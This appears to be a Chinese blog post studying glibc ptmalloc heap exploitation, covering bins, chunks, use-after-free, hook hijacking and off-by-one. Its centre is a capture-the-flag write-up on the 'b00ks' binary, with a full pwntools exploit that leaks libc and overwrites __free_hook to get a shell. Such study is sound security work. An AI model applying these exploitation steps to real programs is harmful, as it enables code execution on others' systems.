0%

Ptmalloc算法:UAF

堆利用中较为常见的漏洞,利用了“free”函数本身的缺陷,对已经置空的指针进行操作

UAF一般有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

UAF漏洞主要是后两种,被置空的指针被称为“dangling pointer”


数据结构bins

简单来说bin就是free chunk的容器

ptmalloc 把大小相似的 chunk,用双向链表连接起来,这样就形成了一个 bin,ptmalloc 一共维护了 128 个这样的 bin,并使用数组来存储这些 bin 如下:(32位)

从第2个到第64个bin是small bin,small bin中的chunk大小相同,small bin是一个双向链表

在某一条bin中(chunk大小相同)按照「先入先出」(FIFO 的规则)进行排序,也就是说,刚被释放的放在前面

bins分类:fast bin,small bin,unsorted bin,large bin

bin链都是由当前线程的arena管理的

Fast bin

Fast bin可以看着是 small bins 的一小部分 cache ,设计初衷就是进行快速的小内存分配和释放

概念:chunk 的大小在32字节~128字节(0x20~0x80)的 chunk 称为“fast chunk”(大小不是 malloc 时的大小,而是在内存中 struct malloc_chunk 的大小,包含前2个成员)

特征:

  • Fast bin是 单向链表 只有 FD 指针
  • Fast chunk 不会对其他 free chunk 进行合并
  • 系统将属于 Fast bin 的 chunk 的 PREV_INUSE 位总是设置为1
  • Fast bin 中无论是添加还是移除 fast chunk,都是对“链表头”进行操作,而不会对某个中间的 fast chunk 进行操作

使用次序:后入先出(可以类比一下栈)

  • 释放时:将此 chunk 插入到该 Fast bin 的“链表头”
  • 申请时:优先申请 Fast bin “链表头”处的 chunk(从前向后申请)

通常情况下:

  • 如果chunk大小 小于“0x40(32位) / 0x80(64位)”,那么该chunk会直接存入Fast bin
  • 如果内存请求 小于“0x40(32位) / 0x80(64位)”,那么程序会优先在 Fast bin 中查找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include <stdlib.h>

int main()
{
unsigned int *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int *a,*b,*c;

p1=malloc(0x50);
printf("%p\n",p1-4);
p2=malloc(0x50);
printf("%p\n",p2-4);
p3=malloc(0x50);
printf("%p\n",p3-4);
p4=malloc(0x50);
printf("%p\n",p4-4);
p5=malloc(0x50);
printf("%p\n",p5-4);
p6=malloc(0x50);
printf("%p\n",p6-4);

free(p1); // 直接插入表头
free(p3);
free(p5);
printf("--------------\n");
printf("fastbin:%p -> %p -> %p\n",p5-4,p3-4,p1-4);

a=malloc(0x50); // 从表头开始申请
b=malloc(0x50);
c=malloc(0x50);
printf("--------------\n");
printf("%p\n",a-4);
printf("%p\n",b-4);
printf("%p\n",c-4);
printf("--------------\n");

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  [/home/ywhkkx/桌面] ./test 
0x56000683a000
0x56000683a470
0x56000683a4d0
0x56000683a530
0x56000683a590
0x56000683a5f0
--------------
fastbin:0x56000683a590 -> 0x56000683a4d0 -> 0x56000683a000
--------------
0x56000683a590
0x56000683a4d0
0x56000683a000
--------------

Small bin

small bins 中一共有 62 个循环双向链表,每个链表中存储的 chunk 大小都一致

使用次序:先入先出(可以类比一下食堂排队)

  • 释放时:将此 chunk 插入到该 Small bin 的“链表头”
  • 申请时:优先申请 Small bin “链表尾”处的 chunk(从后向前申请)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include <stdlib.h>

int main()
{
unsigned int *p1,*p2,*p3,*p4;
unsigned int a,b,c;

p1=malloc(0x80);
p2=malloc(0x100);
free(p1);
p3=malloc(0x40); // 直接插入表头
p4=malloc(0x100); // 重新分配:把unsortedbin中的chunk转移到smallbin&largebin中
a=p3+0x10;

p1=malloc(0x80);
p2=malloc(0x100);
free(p1);
p3=malloc(0x40);
p4=malloc(0x100);
p1=malloc(0x80);
b=p3+0x10;

p2=malloc(0x100);
free(p1);
p3=malloc(0x40);
p4=malloc(0x100);
c=p3+0x10;

printf("smallbin:0x5555%x -> 0x5555%x -> 0x5555%x\n",c,b,a);
p1=malloc(0x30); // 从表尾开始,向前申请
printf("chunk1:%p\n",p1-4);
p2=malloc(0x30);
printf("chunk2:%p\n",p2-4);
p3=malloc(0x30);
printf("chunk3:%p\n",p3-4);

return 0;
}
1
2
3
4
5
➜  [/home/ywhkkx/桌面] ./test               
smallbin:0x5555a66515b0 -> 0x5555a6651300 -> 0x5555a6651050
chunk1:0x5580a6651050
chunk2:0x5580a6651300
chunk3:0x5580a66515b0

Large bin

large bins 中一共包括 63 个 bin,每个 bin 中的 chunk 的大小不一致,而是处于一定区间范围内

  • 概念:大于等于1024字节(0x400)的chunk称之为large chunk,large bin就是用于管理这些largechunk的
  • large bin链表的个数为63个,被分为6组
  • largechunk使用 fd_nextsize、bk_nextsize 连接起来的
    • fd_nextsize:指向前一个与当前chunk大小不同的第一个空闲块,不包含 bin 的头指针
    • bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块,不包含 bin 的头指针
  • 合并操作:类似于small bin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#define largebin_index_32(sz)                                                  \
(((((unsigned long) (sz)) >> 6) <= 38) \
? 56 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) \
? 49 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) \
? 48 + (((unsigned long) (sz)) >> 6) \
: ((((unsigned long) (sz)) >> 9) <= 20) \
? 91 + (((unsigned long) (sz)) >> 9) \
: ((((unsigned long) (sz)) >> 12) <= 10) \
? 110 + (((unsigned long) (sz)) >> 12) \
: ((((unsigned long) (sz)) >> 15) <= 4) \
? 119 + (((unsigned long) (sz)) >> 15) \
: ((((unsigned long) (sz)) >> 18) <= 2) \
? 124 + (((unsigned long) (sz)) >> 18) \
: 126)

#define largebin_index(sz) \
(SIZE_SZ == 8 ? largebin_index_64(sz) : MALLOC_ALIGNMENT == 16 \
? largebin_index_32_big(sz) \
: largebin_index_32(sz))

Unsorted bin

没有来得及被其他bin收入的chunk,就会被认为在unsorted bin中

在使用malloc申请内存时,如果在“fastbin”和“smallbin”中都没有找到合适的free chunk,程序就会在unsorted bin中进行遍历,寻找合适的free chunk,不合适的chunk会被 排序重新分配 到对应的“bins”中

关于bins的内存分配

用户释放掉的 chunk 不会马上归还给系统,ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的 chunk,当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的 chunk 中挑选一块合适的给用户,这样可以避免频繁的系统调用,降低内存分配的开销

详细过程:

  • malloc的时候,不论malloc的大小,ptmalloc首先会去检查每个bins链(除去fastbins链)是否有与malloc相等大小的freechunk,如果没有就去检查bins链中是否有 大的freechunk 可以切割

  • 如果存在,那么就切割大的freechunk,那么切割之后 剩余 的chunk成为 last remainder chunk ,并且last remainder chunk会被放入到 unsorted bin

  • 如果没有 大的free chunk 可以切割,程序就会查询 top chunk ,如果top chunk的大小比用户请求的大小要大的话,就将该top chunk分作两部分:1.用户请求的chunk,2.新的top chunk,否则,就需要扩展heap或分配新的heap了——在 main arena 中通过 sbrk 扩展heap,而在 thread arena 中通过 mmap 分配新的heap

流程图:

UAF的利用姿势

UAF的利用比较简单,重点看下程序的“free模块”,看下哪些指针没有被置空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main()
{
char *a;
a = (char *) malloc(sizeof(char)*10); //申请a
memcpy(a,"ywhkkx",10);
printf("a addr:%x,%s\n",a,a);
free(a); //释放a
char *b;
b = (char *)malloc(sizeof(char)*10); //申请相同大小的b
memcpy(a,"isacaib",10);
printf("b addr:%x,%s\n",b,b);
printf("a addr:%x,%s\n",a,a);
return 0;
}
1
2
3
a addr:6792d2a0,ywhkkx
b addr:6792d2a0,isacaib
a addr:6792d2a0,isacaib

可以发现,“a”和“b”指向了同一片内存:对“a”进行控制,就相当于控制了“b”

UAF利用姿势

利用条件:

  • “free模块”没有置空指针
  • 可以对chunk进行读写

利用效果:

  • WAA

利用姿势:

一,申请一个chunk,然后释放:

二,修改该chunk的FD指针为“ Malloc_hook - 0x10 ”:

三,再次申请chunk,并进行修改

原理总述:

利用UAF的特性(可以申请到相同的chunk),先在某个chunk的FD指针中写入 “目标地址 - 0x10” ,程序会误以为它是某个chunk,于是会把这片区域当成chunk给申请出来,最后就可以直接修改了

​ // 如果程序没有提供“修改模块”,则使用Double Free


PS:

基于UAF,可以实现一种被称为Alloc to Stack的技术,和上述操作一致,只不过把“目标地址”换做了栈地址

Wiki上把它归为Fastbin Attack,但它的利用核心还是UAF

这是我在学习堆利用时的例题,因为libc版本的原因,例题的exp完全不适用于我的系统,并且我看不太懂Wiki上的解析,导致我受挫了很多次

通过不断的试错,我最终搞明白了其中的原理,泄露出了“libc_base”,但是被“libc-2.29.so以及后续版本”中的保护机制给卡了一下,get不了shell

在不断的调试中,我的GDB用得越来越熟练了,算是受益匪浅吧


Asis_2016_b00ks

1641486377981

循环输入

1641486431892

1641486441363

64位,dynamically,开了NX,开了PIE,开了Full RELRO

代码分析

1641486779773

1641486812517

先输入“name”,最多“read”32字节到“off_202018”中,接着就是进入选项了

1.Create a book:

1641487287596

输入“书名长度”,“书名”,“描述长度”,“描述”,最后malloc一个list来存储信息

2.Delete a book:

1641487724350

把“书名长度”,“书名”,“描述长度”,“描述”都free了,但只置空了list的指针

3.Edit a book:

1641487974333

可以修改“描述”

4.Print book detail:

1641488022437

打印信息

5.Change current author name:

1641488067893

修改“name”

入侵思路

程序可以修改“description”,那么就要围绕“description”来打,首先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

程序对于堆溢出有所防范:“description”和“bookname”都是没有堆溢出的

1641488067893

但是“name”的输入却溢出了一字节,这里先看看list中的信息:

1
2
3
4
5
6
7
8
9
if ( list )
{
*(list + 6) = len;
*(list_addr + index) = list;
*(list + 2) = description;
*(list + 1) = bookname;
*list = ++id;
return 0LL;
}
1
2
3
4
5
6
7
struct list
{
int id; //base_addr
char *bookname; // base_addr+1
char *description; // base_addr+2
int size; // base_addr+6
}

先用GDB看看“name”的位置,和“name”附近有什么

在“name”中输入“flag”,然后“search flag”:

1
2
3
4
5
6
7
8
9
10
pwndbg> search -s flag
b00ks 0x555555602040 0x67616c66 /* 'flag' */
libc-2.31.so 0x7ffff7dd938b 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddbf01 0x5f5f007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7ddc336 0x7563007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f77de0 0x6f4e007367616c66 /* 'flags' */
libc-2.31.so 0x7ffff7f7ec06 'flags & PRINTF_FORTIFY) != 0'
ld-2.31.so 0x7ffff7ff5213 0x642f002967616c66 /* 'flag)' */
ld-2.31.so 0x7ffff7ff5d3e 'flag value(s) of 0x%x in DT_FLAGS_1.\n'
ld-2.31.so 0x7ffff7ff6745 'flags & DL_LOOKUP_RETURN_NEWEST)'

再打印这个地址:

1
2
3
4
5
6
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000000067616c66 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000
0x555555602080: 0x0000000000000000 0x0000000000000000

只有一个“0x00005555556036f0”,就是“list_addr”(用于存放malloc的list地址)

1641547875813

程序故意把“输入字符串”的末尾设置为“\x00”,但“name”的“\x00”溢出到“list_addr”中了,如果这时申请一个“list”,这时它的写入地址就会存入“list_addr”中,从而覆盖掉“\x00”,就可以利用“printf”打印了

1
2
3
4
5
6
7
8
p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))

那么接着干什么呢?还是要围绕“description”来打

1
2
3
4
5
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

“0x00005555556036f0”为第一个list,它的低字节是可以被“name”给覆盖的

1
2
3
4
5
pwndbg> x/20gx 0x555555602040
0x555555602040: 0x6161616161616161 0x6161616161616161
0x555555602050: 0x6161616161616161 0x6161616161616161
0x555555602060: 0x0000555555603600 0x0000000000000000
0x555555602070: 0x0000000000000000 0x0000000000000000

“0x00005555556036f0”变为了“0x0000555555603600”

这样,程序就会以为“0x0000555555603600”是第一个list

再分析下heap空间:

1
2
3
4
5
pwndbg> x/20xg 0x555555602040
0x555555602040: 0x0000786b6b687779 0x0000000000000000
0x555555602050: 0x0000000000000000 0x0000000000000000
0x555555602060: 0x00005555556036f0 0x0000555555603760 #list_1 & list_2
0x555555602070: 0x0000000000000000 0x0000000000000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5555556036a0:	0x0000000000000000	0x0000000000000021
0x5555556036b0: 0x0000000071717171 0x0000000000000000 #list_1_bookname
0x5555556036c0: 0x0000000000000000 0x0000000000000021
0x5555556036d0: 0x0000000077777777 0x0000000000000000 #list_1_description
0x5555556036e0: 0x0000000000000000 0x0000000000000031
0x5555556036f0: 0x0000000000000001 0x00005555556036b0 #list_1
0x555555603700: 0x00005555556036d0 0x0000000000000004
0x555555603710: 0x0000000000000000 0x0000000000000021
0x555555603720: 0x0000000065656565 0x0000000000000000 #list_2_bookname
0x555555603730: 0x0000000000000000 0x0000000000000021
0x555555603740: 0x0000000072727272 0x0000000000000000 #list_2_description
0x555555603750: 0x0000000000000000 0x0000000000000031
0x555555603760: 0x0000000000000002 0x0000555555603720 #list_2
0x555555603770: 0x0000555555603740 0x0000000000000004
0x555555603780: 0x0000000000000000 0x0000000000020881

如果这样“create list1”,“create list2”,编辑“list_1_description”输入以下数据:

1
2
3
4
create(0xe0, 'aaaa', 0xe0, 'bbbb')
create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(book2_control_ptr + 8) * 2 + p64(0x1000)
change(1,payload)

那么会生成以下的heap空间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/60xg 0x55c18a470390
0x55c18a470390: 0x0000000000000000 0x00000000000000f1
0x55c18a4703a0: 0x6161616161616161 0x6161616161616161 #list_1_description
0x55c18a4703b0: 0x6161616161616161 0x6161616161616161
0x55c18a4703c0: 0x6161616161616161 0x6161616161616161
0x55c18a4703d0: 0x6161616161616161 0x6161616161616161
0x55c18a4703e0: 0x6161616161616161 0x6161616161616161
0x55c18a4703f0: 0x6161616161616161 0x6161616161616161
0x55c18a470400: 0x0000000000000001 0x000055c18a4704c8 #fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000
0x55c18a470420: 0x0000000000000000 0x0000000000000000
0x55c18a470430: 0x0000000000000000 0x0000000000000000
0x55c18a470440: 0x0000000000000000 0x0000000000000000
0x55c18a470450: 0x0000000000000000 0x0000000000000000
0x55c18a470460: 0x0000000000000000 0x0000000000000000
0x55c18a470470: 0x0000000000000000 0x0000000000000000
0x55c18a470480: 0x0000000000000000 0x0000000000000031
0x55c18a470490: 0x0000000000000001 0x000055c18a4702b0 #list_1
0x55c18a4704a0: 0x000055c18a4703a0 0x00000000000000e0
0x55c18a4704b0: 0x0000000000000000 0x0000000000000031
0x55c18a4704c0: 0x0000000000000002 0x00007fee78052010 #list_2
0x55c18a4704d0: 0x00007fee78030010 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

​ // 因为“list2”的“bookname”和“description”很大,所以用mmap函数进行调用

可以发现,如果用“name”把“list_1”尾字节覆盖为“\x00”,程序就会把“fake_list”识别为“list_1”,接着如果用“show”打印,就可以泄露写入的数据

其中“bookname2”会被泄露出来,而“bookname2”是用mmap函数申请的

这里有一个知识:

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x563fc9c00000 0x563fc9c02000 r-xp 2000 0 /home/ywhkkx/桌面/b00ks
0x563fc9e01000 0x563fc9e02000 r--p 1000 1000 /home/ywhkkx/桌面/b00ks
0x563fc9e02000 0x563fc9e03000 rw-p 1000 2000 /home/ywhkkx/桌面/b00ks
0x563fcb86d000 0x563fcb88e000 rw-p 21000 0 [heap]
0x7ff6d3dcf000 0x7ff6d3e13000 rw-p 44000 0 [anon_7ff6d3dcf]
0x7ff6d3e13000 0x7ff6d3e38000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3e38000 0x7ff6d3fb0000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3fb0000 0x7ff6d3ffa000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ff6d3ffa000 0x7ff6d3ffb000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
-------------------------------------------------------------------------
[+] bookname2 >>0x7ff6d3df1010

bookname2(0x7ff6d3df1010):第一次用mmap函数获取的地址

/usr/lib/x86_64-linux-gnu/libc-2.31.so(0x7ff6d3e13000):libc基址

1
2
3
4
5
In [4]: 0x7ff6d3e13000-0x7ff6d3df1010
Out[4]: 139248

In [5]: hex(139248)
Out[5]: '0x21ff0'

两者的差值是一个常数(不同的libc文件偏移不同,甚至可能是负数,需要用GDB看)

那么“libc_base”就可以被计算出来,就可以用“free_hook”来get shell了

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >>'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
#one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >>'+hex(system))

change(1, p64(bin_sh) + p64(free_hook))
change(2, p64(system))
free(2)

编辑“list_1_description”,实际上写入了“list_2”

1
2
3
0x55c18a470400:	0x0000000000000001	0x000055c18a4704c8	#fake_list
0x55c18a470410: 0x000055c18a4704c8 0x0000000000001000 #fake_description(list_2)
0x55c18a470420: 0x0000000000000000 0x0000000000000000
1
2
3
0x55c18a4704c0:	0x0000000000000002	addr("/bin/sh")		#list_2
0x55c18a4704d0: addr(free_hook) 0x0000000000021000
0x55c18a4704e0: 0x0000000000000000 0x000000000001fb21

编辑“list_2_description”,在“free_hook”中写入“system”

执行“free(2)”时,就会执行“free_hook”挂钩的函数“system”

1641487724350

而“list_2”的“list_addr + 8”中被写入了”/bin/sh”,这里就相当于执行了“ system(“/bin/sh”) ”

当然用“one_gadget”也可以:

1
2
3
4
5
6
7
8
9
10
11
libc_base = bookname2 + 0x21ff0 
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
#system = libc_base + libc.sym['system']
#bin_sh = libc_base + libc.search('/bin/sh').next()
success('one_gadget >> '+hex(one_gadget))

change(1, p64(0) + p64(free_hook))
change(2, p64(one_gadget))
free(2)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import*

p=process('./b00ks')
elf=ELF('./b00ks')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
#context(log_level='debug')

def create(len_book,bookname,len_description,description):
p.sendlineafter('> ','1')
p.sendlineafter('Enter book name size: ',str(len_book))
p.sendlineafter('(Max 32 chars): ',bookname)
p.sendlineafter('description size: ',str(len_description))
p.sendlineafter('description: ',description)

def free(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))

def change(index,description):
p.sendlineafter('> ','3')
p.sendlineafter('want to edit: ',str(index))
p.sendlineafter('book description: ',description)

def show():
p.sendlineafter('> ','4')

def change_name(name):
p.sendlineafter('> ', '5')
p.sendlineafter(': ', name)

p.recvuntil('Enter author name: ')
payload='a'*32
p.sendline(payload)

create(0xe0, 'aaaa', 0xe0, 'bbbb')
show()
p.recvuntil('Author: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
list1_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
list2_addr=list1_addr+0x30

success("list1_addr >> "+hex(list1_addr))
success("list2_addr >> "+hex(list2_addr))

create(0x21000, 'cccc', 0x21000, 'dddd')
payload = 'a' * 0x60 + p64(1) + p64(list2_addr + 8) * 2 + p64(0x1000)
change(1,payload)

change_name('a'*0x20)
show()
p.recvuntil('Name: ')
bookname2 = u64(p.recv(6).ljust(8, '\x00'))
success('bookname2 >> '+hex(bookname2))

libc_base = bookname2 + 0x21ff0
success('libc_base >> '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xe6c81
system = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search('/bin/sh').next()
success('system >> '+hex(system))

#gdb.attach(p)
#pause()

change(1, p64(bin_sh) + p64(free_hook))
pause()
change(2, p64(one_gadget))
free(2)

p.interactive()
1
2
3
4
5
[+] list1_addr >> 0x563929e21490
[+] list2_addr >> 0x563929e214c0
[+] bookname2 >> 0x7fc022a21010
[+] libc_base >> 0x7fc022a43000
[+] system >> 0x7fc022a98410

PS:

本程序服务器的libc版本为“libc-2.23.so”可以利用这种方式来打

但“libc-2.29.so”以后假如了两行代码:

1
2
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");

如果“list_2”的“presize”不等于“list_1”的“size”,程序就会报错

导致以下代码没法执行:

1
change(1, p64(bin_sh) + p64(free_hook)) #这个'list_1'是伪造的

Ptmalloc算法:hook劫持

利用hook机制,把某个函数的hook劫持为shellcode

这种技术在堆利用中很常见,想要了解它,必须先了解hook机制


钩子hook

hook直意为钩子又叫做回调函数,是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理

在程序中设置钩子,用来在 mallocreallocfree 的时候,对其进行检查,可以看到对应的函数调用后的地址是什么

原理:

hook本质上就是一个函数指针,可以指向不同的函数,从而完成不同的功能

设计理念:

我们在写main函数的时候,可能还不知道它会完成什么功能,这时候留下函数指针作为接口,可以挂上不同的函数完成不同的功能,究竟执行什么功能由钩子函数的编写者完成,钩子的出现体系了程序模块化的思想

案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include "stdio.h"

void fun1(void)
{
printf("i am fun1\r\n");
}

void fun2(void)
{
printf("i am fun2\r\n");
}

int main(int argc, char const *argv[])
{
void (* fun)(void); //定义一个函数指针

fun = fun1; // 让fun指向fun1(首地址)
fun(); // 执行fun

fun = fun2; // 让fun指向fun2(首地址)
fun(); // 执行fun

return 0;
}
1
2
3
➜  [/home/ywhkkx/桌面] ./test
i am fun1
i am fun2

这里的函数“fun1”和函数“fun2”就是hook把函数指针fun指向fun1和fun2的过程称为“挂钩子”

libc中的hook

libc中最常见,也是堆利用中最常见的两种hook:malloc_hook,free_hook

接下来以“malloc_hook”为例,分析一下hook的具体实现:

ptmalloc 定义了一个全局钩子 malloc_hook,这个钩子会被赋值为 malloc_hook_ini 函数

1
2
void *weak_variable (*__malloc_hook)
(size_t __size, const void *) = malloc_hook_ini;

而函数malloc会调用 malloc_hook ,那么在 第一次调用malloc函数 时会执行 malloc_hook,也就是执行了 malloc_hook_ini

1
2
3
4
5
6
7
static void *
malloc_hook_ini (size_t sz, const void *caller)
{
__malloc_hook = NULL;
ptmalloc_init ();
return __libc_malloc (sz);
}

可见在 malloc_hook_ini 会把 malloc_hook 置空,然后调用 ptmalloc_init 函数,完成对 ptmalloc 的初始化,最后再次调用 malloc_hook,但是这次的 malloc_hook 已经置空,从而继续执行剩下的代码

第一次调用:

1
malloc(__libc_malloc) -> __malloc_hook(malloc_hook_ini) -> ptmalloc_init -> __libc_malloc -> _int_malloc

再次调用:

1
malloc(__libc_malloc) -> _int_malloc
  • malloc_hook_ini:对malloc_hook进行初始化的函数,代码已给出
  • ptmalloc_init:对整个ptmalloc框架进行初始化的函数,以后分析
  • __libc_malloc:用于初始化malloc,以后分析
  • _int_malloc:用于内存分配的函数,是ptmalloc的核心点,以后分析

最后,malloc_hook会指向一个“检查函数”

1
void * function(size_t size, void * caller)

caller:表示用malloc申请空间的“可写入地址”( fd&bk 所在处)

使用malloc的时候就可以返回其“可写入地址”了

hook劫持

hook劫持的基本操作就是:在hook的地址中写入shellcode的地址,可以把hook地址写在某个固定地址上,然后在这个地址中写入shellcode,这样就挂钩完毕了

那么问题的关键就是找hook的地址:

一,如果知道libc版本,可以直接引入libc库,用ELF工具进行查找

1
2
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

这种方法需要泄露libc基地址

二,还可以用“main_arena”来定位“malloc_hook”

malloc_hook位于main_arena上方16字节

当small chunk被释放时,它的fd、bk指向一个指针,这个指针指向top chunk地址,这个指针保存在“main_arena+0x58”

找到合适的small chunk再free掉,然后通过“main_arena”获取“malloc_hook”

​ // 等到分析 Unsortedbin attack 的时候,再分析这种hook劫持技术

Ptmalloc算法:off-by-one

在堆溢出的基础上,只溢出1字节,这就是off-by-one

想了解这个漏洞必须先了解 chunk 的结构


数据结构chunk

什么是chunk?用户申请的内存空间就被称为chunk

在ptmalloc算法中,用户申请的内存空间以chunk为单位进行管理,它的结构入下图:

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

一共有6个部分,其中最后两个部分是 large chunk 特有的

  • prev_size:相邻的前一个堆块大小(该字段不计入当前堆块的大小计算,free状态时:数据为前一个chunk的大小,allocate状态时:用于前一个chunk写入数据)
  • size:本堆块的长度(长度计算方式:size字段长度+用户申请的长度+对齐,最后3位标志位)
  • fd&bk:双向指针,用于组成一个双向空闲链表
  • fd_nextsize:指向前一个与当前 chunk 大小不同的第一个空闲块
  • bk_nextsize:指向后一个与当前 chunk 大小不同的第一个空闲块

chunk有两种状态:allocate chunk 和 free chunk

allocate chunk:用户正在使用的chunk,fd&bk处用于存放数据

free chunk:程序中空闲的chunk,fd&bk分别为指向 “后一个free chunk”和“前一个free chunk”

也就是说,只有allocate chunk中会存放数据,而free chunk会以双向链表的形式存储起来

allocate chunk:

free chunk:

程序该怎样分辨chunk的状态?

在解释这一点之前,先要了解一下内存对齐

内存对齐是为了“程序执行效率”而诞生的一种机制,它可以优化CPU识别地址的效率

glibc的堆内存对齐机制:

32位:
最少分配16字节堆,8字节对齐,每次增加8
其中4字节为头部,申请1-12堆,分配16字节堆

64位:
最少分配32字节堆,16字节对齐,每次增加16
其中8字节为头部,申请1-24堆,分配32字节堆

不管是32位(8字节对齐),还是64位(16字节对齐),chunk的大小都是 8的倍数 ,也就是说,chunk -> size 的最后3位恒为“0”,ptmalloc算法干脆就把这3位当成了标志位,用于描述一些chunk的信息

P位:指示相邻的前一个堆块是alloc还是free

